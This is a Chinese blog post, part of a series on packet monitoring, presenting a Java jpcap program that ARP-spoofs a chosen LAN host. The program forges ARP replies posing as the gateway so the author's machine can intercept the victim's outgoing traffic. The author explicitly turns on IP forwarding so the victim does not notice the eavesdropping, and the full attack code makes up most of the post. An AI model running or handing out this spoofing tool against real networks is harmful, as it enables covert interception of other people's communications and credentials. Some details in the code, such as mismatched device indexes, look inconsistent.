网络数据包监视程序开发(十一)---ARP欺骗

  ARP欺骗的原理网上有很多资料,不太赘述了。这里只是说明一下我自己用jpcap开发包写的一个小测试程序。

  先说明一下这个小程序吧。这个程序的目的是在局域网上针对一台主机(假设其IP地址为192.168.10.254)进行ARP欺骗,以便监听到这台主机发送出去的数据包,这个程序并没有监听到外部发往被监听主机的数据(由于我只关心他发出去的数据,所以没有监听其他的数据,不过要监听外部发往这个主机的数据,原理是一样的)。另外,局域网的网关IP地址是:192.168.10.1。为了不让目标主机(就暂命名为主机B吧)发现我们在监听,我们得把实行监听任务的主机(就叫主机A吧,IP地址为:192.168.10.100)的IP路由功能打开,这样,主机B才可以正常上网,如果没有打开主机A的IP路由功能,主机B是上不了网的。

  程序写得有点乱,只是测试用。将就一点了:)


import jpcap.packet.*;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;

import java.net.*;
import java.util.Arrays;
import java.io.*;

public class ModifyARP {

 static NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //得到主机A的网络设备列表
 
 /*
  * 获取局域网内的某个主机的MAC地址,方法:发一个ARP请求,从ARP回复中得到MAC地址
  */
 static byte[] getOtherMAC(String ip) throws IOException{
   JpcapCaptor jc = JpcapCaptor.openDevice(devices[1],2000,false,3000);
   JpcapSender sender = jc.getJpcapSenderInstance();
  
   InetAddress senderIP = InetAddress.getByName("192.168.10.100");  //主机A的IP地址
   InetAddress targetIP = InetAddress.getByName(ip);           //目标主机的IP地址
   byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};  //广播地址

   ARPPacket arp=new ARPPacket();           //开始构造一个ARP包
   arp.hardtype=ARPPacket.HARDTYPE_ETHER;
   arp.prototype=ARPPacket.PROTOTYPE_IP;
   arp.operation=ARPPacket.ARP_REQUEST;                      //指明是ARP请求包
   arp.hlen=6;
   arp.plen=4;
   arp.sender_hardaddr=devices[0].mac_address;            //ARP包的发送端以太网地址
   arp.sender_protoaddr=senderIP.getAddress();              //发送端IP地址
   arp.target_hardaddr=broadcast;          //目的端以太网地址
   arp.target_protoaddr=targetIP.getAddress();      //目的端IP地址
  
   EthernetPacket ether=new EthernetPacket();                              //构造以太网首部
   ether.frametype=EthernetPacket.ETHERTYPE_ARP;               //帧类型
   ether.src_mac=devices[0].mac_address;          //以太网源地址
   ether.dst_mac=broadcast;                                                      //以太网目的地址
   arp.datalink=ether;
  
   sender.sendPacket(arp);

   while(true){                                                //获取ARP回复包,从中提取出目的主机的MAC地址
     ARPPacket p=(ARPPacket)jc.getPacket();
     if(p==null){
       throw new IllegalArgumentException(targetIP+" is not a local address");
     }
     if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){
       return p.sender_hardaddr;
     }
   }
 }
 
 public static void main(String[] args) throws IOException {

   JpcapCaptor captor = JpcapCaptor.openDevice(devices[1],2000,false,3000);
   captor.setFilter("arp",true);
   JpcapSender sender = captor.getJpcapSenderInstance();
  
   ARPPacket arp=new ARPPacket();    //构造ARP欺骗用的数据包,实质上就是一个ARP回复包
   arp.hardtype = ARPPacket.HARDTYPE_ETHER;
   arp.prototype=ARPPacket.PROTOTYPE_IP;
   arp.operation=ARPPacket.ARP_REPLY;    //指明是ARP回复包
   arp.hlen=6;
   arp.plen=4;

   arp.sender_hardaddr=devices[0].mac_address;
   arp.sender_protoaddr=InetAddress.getByName("192.168.10.1").getAddress();
   arp.target_hardaddr=getOtherMAC("192.168.10.254");
   arp.target_protoaddr=InetAddress.getByName("192.168.10.254").getAddress();
  
  
   EthernetPacket ether=new EthernetPacket();
   ether.frametype=EthernetPacket.ETHERTYPE_ARP;
   ether.src_mac=getOtherMAC("192.168.10.1");
   ether.dst_mac=getOtherMAC("192.168.10.254");
   arp.datalink=ether;
  
   sender.sendPacket(arp);
  
  }
}

  这个程序中的main()方法和getOtherMAC()方法其实大部分都是一样的,只不过main()方法构造的是一个ARP的响应回复包,用于ARP欺骗,而getOtherMAC()方法构造的是一个ARP请求包,用于获得指定主机的MAC地址。只要设置好传入参数,这两个方法完全可以合成一个方法。

  不管是构造ARP请求包还是回复包,其实质都是按照ARP协议的结构往ARP包中添加适当的数据,所以在看这个程序前,你应当对ARP协议有了解,而且对ARP协议的结构已经熟悉了。

  这个程序只是监听了一台主机的通讯,如果要同时监听某个网段内的所有活动主机的通讯,也许还有其他的东西没有掌握好,继续了。。。

你可能感兴趣的:(String,网络,import,byte,通讯,程序开发)